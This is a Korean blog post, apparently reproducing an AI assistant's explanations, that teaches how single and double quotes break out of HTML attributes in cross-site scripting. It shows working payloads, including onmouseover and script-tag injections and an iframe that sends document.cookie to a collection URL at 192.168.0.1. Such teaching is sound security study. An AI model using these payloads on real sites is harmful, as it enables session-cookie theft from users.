xss 실습

Sumin·2025년 6월 13일

좋아요! 😊 지금은 ' 이 왜 쓰이는지 감이 잘 안 오는 거 같아요.
그래서 이번엔 아주 짧고 직관적인 비유로 설명해볼게요. 👇


🍱 비유로 이해해보자 – ‘도시락 뚜껑’ 이야기

웹사이트가 이렇게 말하고 있다고 생각해봐요:

👨‍💻 “나는 네 말을 '여기에 넣을게'처럼, 작은따옴표로 싸서 저장할게!”

그럼 공격자가 일부러 이렇게 말해요:

🧑‍💻 “그 뚜껑(') 열고, 내 도시락(악성 코드)도 넣어줘!”


🍱 예를 들어서

개발자가 아래와 같은 코드를 쓴 거야:

<input value='여기에 사용자 입력 들어감'>

✅ 정상적인 입력:
홍길동 → 결과:

<input value='홍길동'>

❌ 공격자 입력:
' → 결과:

<input value='' onmouseover="alert(1)">

📌 여기서 무슨 일이 벌어졌지?

  • 첫 번째 ' (작은따옴표) → 문자열이 끝남 (뚜껑 닫힘)
  • 그 다음부터는 내 코드 마음대로 넣을 수 있음 🎉
  • 여기선 마우스 올리면 경고창 뜨는 alert(1) 코드가 들어감

🧨 결론

'"문자열의 뚜껑을 먼저 열어서",
그 뒤에 내가 원하는 해킹 코드(iframe, script 등)를 몰래 넣기 위해 쓰는 도구예요!


🧠 외우기 쉽게!

📦 정상: value='홍길동'
💣 공격: value=' + 내코드입력 → 문자열 뚜껑 닫고 몰래 코드를 삽입!

혹시 HTML 코드에 직접 넣어보는 실습처럼 해볼까요?
그럼 바로 눈에 보이는 결과로 확 와닿을 거예요! 😊
예제 사이트나 코드도 만들어 드릴 수 있어요. ✨

궁금한 부분 하나씩 짚어서 설명해드릴게요! 😊
맞아요! 🎯 아주 핵심을 정확히 짚으셨어요! 👏👏👏


한 줄로 정리하면:

  • ' (작은따옴표)로 웹페이지가 감싸던 문자열을 끊어버리고
  • 그 뒤에 >(태그 닫기)나 <script> 같은 공격 코드 태그를 넣어서 실행시킨다는 뜻이에요.

조금 더 자세히 풀면…

  1. 원래는 이렇게 쓰여 있어요:
<p>당신의 이름은: '사용자입력' 입니다</p>
  1. 그런데 공격자가 ' 로 시작하는 값을 넣으면:
<p>당신의 이름은: ' <-- 여기서 문자열 종료됨
'><script>alert(1)</script> <!-- 여기서부터는 문자열 밖, 실행되는 코드 -->
' 입니다</p>
  1. 그래서 브라우저가 보면…
  • ' 닫히면서 문자열 끝
  • 그 뒤에 <script>가 실제 코드로 실행
  • 마지막 ' 는 그냥 남아서 무시되거나 오류 안 남

한마디로 🔥

'문자열을 끊는 문이고, 그 문을 지나면 공격 코드를 마음대로 넣을 수 있는 "공간"이 생기는 거예요!


필요하면 이걸 코드나 그림으로 더 보여줄 수 있어요!
혹은 이걸 막는 방법도 알려드릴게요! 😊

좋아요! 😄 '" 가 섞여서 쓰인 부분이 헷갈리는 거니까, 이걸 최대한 쉽게 풀어볼게요! ✨


'"가 같이 쓰인 이유와 역할 💡


1. HTML 속성 값을 감쌀 때는 ' 또는 " 중 하나를 쓴다

예를 들어,

<iframe src="주소" width=0 height=0></iframe>

또는

<iframe src='주소' width=0 height=0></iframe>
  • 보통 큰따옴표 " 나 작은따옴표 ' 중 하나를 골라서 속성값을 감싸는데
  • 만약 주소 안에 " 가 들어가야 하면, 바깥을 ' 로 감싸서 구분하는 거예요!

2. 자바스크립트 문자열 연결에서 " + document.cookie + " 부분 이해하기

공격 코드를 자세히 보면:

<iframe src='http://192.168.0.1/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>
  • 이건 사실 HTML 코드가 아니라 자바스크립트 코드가 문자열로 만들어질 때 나오는 모습이에요.
  • 예를 들어, 어떤 자바스크립트 코드가 이렇게 생겼을 수 있어요:
var evil = "<iframe src='http://192.168.0.1/cookie.php?cookie=" + document.cookie + "' width=0 height=0></iframe>";
  • 여기서 큰따옴표 " 는 자바스크립트 문자열을 감싸고 있고,
  • 작은따옴표 ' 는 HTML 속성값 안에서 주소를 감싸는 역할을 해요.

3. 그래서 '" 가 섞인 이유는

  • 큰따옴표 " "자바스크립트 문자열 경계
  • 작은따옴표 ' 'HTML 속성값 경계

즉, 큰따옴표 밖에서 자바스크립트가 문자열을 만들고 있고,
그 안에 HTML 태그의 속성값(iframe src URL)을 작은따옴표로 감싸서 구분하는 것!


4. 다시 말해

  • src='...' 는 HTML 속성값 (작은따옴표)
  • "+ document.cookie +" 는 자바스크립트 문자열 연결 (큰따옴표 안에서 끊었다 붙였다 하는 것)

🥳 예시 비교

// 전체 문자열 (자바스크립트)
"<iframe src='http://192.168.0.1/cookie.php?cookie=" + document.cookie + "' width=0 height=0></iframe>"
  • 큰따옴표가 자바스크립트 문자열
  • 작은따옴표가 iframe src 속성의 값 감싸기

필요하면 코드 더 쉽게 풀어주거나, 시각적으로 정리해줄게요!
궁금한 거 또 물어봐요~ 😊👍

0개의 댓글